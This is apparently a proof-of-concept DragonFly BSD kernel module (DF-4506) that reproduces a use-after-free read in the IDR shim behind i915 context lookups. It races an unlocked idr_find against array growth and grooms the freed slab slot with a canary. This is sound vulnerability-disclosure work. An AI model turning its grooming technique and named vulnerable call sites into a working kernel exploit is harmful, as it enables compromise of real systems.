/*
 * DF-4506 PoC: DragonFly linux-compat IDR shim UAF read.
 *
 * Reproduces the exact producer/free/consumer pattern used by
 * sys/dev/drm/i915/i915_gem_context.c unlocked context lookups:
 *
 *   producer (== i915_gem_context_create_ioctl path):
 *        idr_alloc(&file_priv->context_idr, ...) under struct_mutex
 *        -> idr_grow() -> kfree(old node array)   [sys/libkern/linux_idr.c:458]
 *   consumer (== i915_gem_context_destroy/getparam/setparam/reset_stats
 *   lookups, i915_gem_context.c:831/855/901/981):
 *        idr_find(&file_priv->context_idr, id) with NO lock at all
 *        (rcu_read_lock() == cpu_ccfence(), a no-op)
 *
 * The producer immediately re-allocates the just-freed array's size class
 * and fills it with a 0xAA canary (stand-in for any same-size-class kernel
 * allocation an attacker may groom into the slot).  If the consumer's
 * idr_find() had already loaded idp->idr_nodes before the swap, its
 * post-wake dereference reads freed-and-reused memory and returns
 * 0xAAAAAAAAAAAAAAAA as a "struct i915_gem_context *".
 *
 * On the unpatched kernel the load-to-deref window is a few nanoseconds, so
 * a sysctl-gated amplifier (guest-only instrumentation, amplifier.diff)
 * parks idr_find() between its node-pointer load and its dereference.
 * The interleaving it enables is exactly one the uninstrumented code
 * permits -- the amplifier only widens the timing window.
 *
 * Outcomes:
 *   capture   : idr_find returned 0xAAAAAAAAAAAAAAAA  -> UAF read proven
 *   anomaly    : idr_find returned any other unexpected pointer
 *   MARKER1    : benign (read pre-free array contents / new array copy)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>

#include <sys/sysctl.h>
#include <sys/idr.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/kthread.h>
#include <sys/thread2.h>

MALLOC_DECLARE(M_IDR);

#define CANARY_BYTE	0xAA
#define CANARY_PTR	((void *)0xAAAAAAAAAAAAAAAAUL)
#define MARKER1		((void *)0x51510001UL)
#define MARKER2		((void *)0x51510002UL)
#define PROBE_ID	200
#define FILL		255			/* idr_default: 255 entries */
#define OLD_BYTES	(FILL * sizeof(struct idr_node))

static struct idr	 race_idr;
static struct thread	*reader_td;
static volatile int	 reader_go;
static volatile int	 reader_stop;
static volatile int	 stress_mode;
static long	 captures;
static long	 anomalies;
static long	 finds;

static void **held;
static int held_n, held_max;

static int sysctl_run(SYSCTL_HANDLER_ARGS);

SYSCTL_NODE(_debug, OID_AUTO, idr_race, CTLFLAG_RW, 0, "DF-4506 idr UAF race");
SYSCTL_PROC(_debug_idr_race, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, sysctl_run, "I", "iterations: orchestrated race; "
	    "negative value: native-window stress |iterations| rounds");
SYSCTL_LONG(_debug_idr_race, OID_AUTO, captures, CTLFLAG_RD,
	    &captures, 0, "canary captures (UAF reads)");
SYSCTL_LONG(_debug_idr_race, OID_AUTO, anomalies, CTLFLAG_RD,
	    &anomalies, 0, "unexpected pointers returned");
SYSCTL_LONG(_debug_idr_race, OID_AUTO, finds, CTLFLAG_RD,
	    &finds, 0, "total idr_find calls");

static void
reader_loop(void *arg __unused)
{
	while (!reader_stop) {
		if (reader_go || stress_mode) {
			void *v = idr_find(&race_idr, PROBE_ID);

			atomic_add_long(&finds, 1);
			if (v == CANARY_PTR) {
				atomic_add_long(&captures, 1);
				kprintf("DF-4506: CAPTURE: idr_find returned "
				    "0x%016lx from freed+reused node array\n",
				    (unsigned long)v);
			} else if (v != MARKER1 && v != MARKER2 && v != NULL) {
				atomic_add_long(&anomalies, 1);
				kprintf("DF-4506: ANOMALY: idr_find returned "
				    "unexpected %p\n", v);
			}
			reader_go = 0;
			wakeup(&reader_go);
			if (stress_mode)
				lwkt_yield();
		} else {
			tsleep(&reader_go, 0, "rdwait", 1);
		}
	}
	wakeup(&reader_stop);
}

static int
sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int iters = 0, error, i, k;

	error = sysctl_handle_int(oidp, &iters, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	stress_mode = (iters < 0);
	iters = iters < 0 ? -iters : iters;
	if (held == NULL) {
		held_max = iters + 16;
		held = kmalloc(held_max * sizeof(void *), M_TEMP, M_WAITOK | M_ZERO);
	}

	kprintf("DF-4506: run %d iterations (%s)\n", iters,
	    stress_mode ? "NATIVE window stress" : "orchestrated/amplified");

	for (i = 0; i < iters; i++) {
		/*
		 * Fresh idr: 255-entry node array (idr_init), fill all 255
		 * slots so the very next idr_alloc() must grow the array,
		 * which frees the 4080-byte array the reader may be walking.
		 */
		idr_init(&race_idr);
		for (k = 0; k < FILL; k++)
			idr_alloc(&race_idr, MARKER1, k, 0, 0);

		if (!stress_mode) {
			/* reader enters idr_find(), parks on the amplifier */
			reader_go = 1;
			wakeup(&reader_go);
			tsleep(&race_idr, 0, "pace1", 1 + 1);
		}

		/* grow: swaps in a new array and kfrees the old one */
		idr_alloc(&race_idr, MARKER2, 0, 0, 0);

		/*
		 * Reallocate the freed array's size class and fill it with
		 * the canary.  Same thread/CPU back-to-back with the kfree,
		 * so LIFO slab reuse makes this land on the freed chunk with
		 * high probability.  (Stands in for an attacker grooming any
		 * ~4080-byte kernel allocation with controlled contents.)
		 */
		{
			char *p = kmalloc(OLD_BYTES, M_IDR, M_WAITOK);
			memset(p, CANARY_BYTE, OLD_BYTES);
			if (held_n < held_max)
				held[held_n++] = p;
			else
				kfree(p, M_IDR);
		}

		if (!stress_mode)
			tsleep(&race_idr, 0, "pace2", 6);

		idr_destroy(&race_idr);
	}

	if (!stress_mode) {
		/* drain the last reader round */
		while (reader_go)
			tsleep(&reader_go, 0, "drain", 1);
	}

	kprintf("DF-4506: done: iterations=%d finds=%ld captures=%ld "
	    "anomalies=%ld\n", iters, finds, captures, anomalies);
	return (0);
}

static int
idr_race_load(struct module *m __unused, int what, void *arg __unused)
{
	int error;

	switch (what) {
	case MOD_LOAD:
		captures = anomalies = finds = 0;
		error = kthread_create(reader_loop, NULL, &reader_td,
		    "idr_race_rd");
		if (error)
			return (error);
		kprintf("DF-4506: idr_race loaded (probe id %d, old array "
		    "%zu bytes)\n", PROBE_ID, (size_t)OLD_BYTES);
		return (0);
	case MOD_UNLOAD:
		reader_stop = 1;
		wakeup(&reader_go);
		tsleep(&reader_stop, 0, "rdstop", hz);
		if (held) {
			int i;
			for (i = 0; i < held_n; i++)
				kfree(held[i], M_IDR);
			kfree(held, M_TEMP);
			held = NULL;
			held_n = held_max = 0;
		}
		return (0);
	}
	return (EOPNOTSUPP);
}

MODULE_VERSION(idr_race, 1);
static moduledata_t idr_race_mod = { "idr_race", idr_race_load, NULL };
DECLARE_MODULE(idr_race, idr_race_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);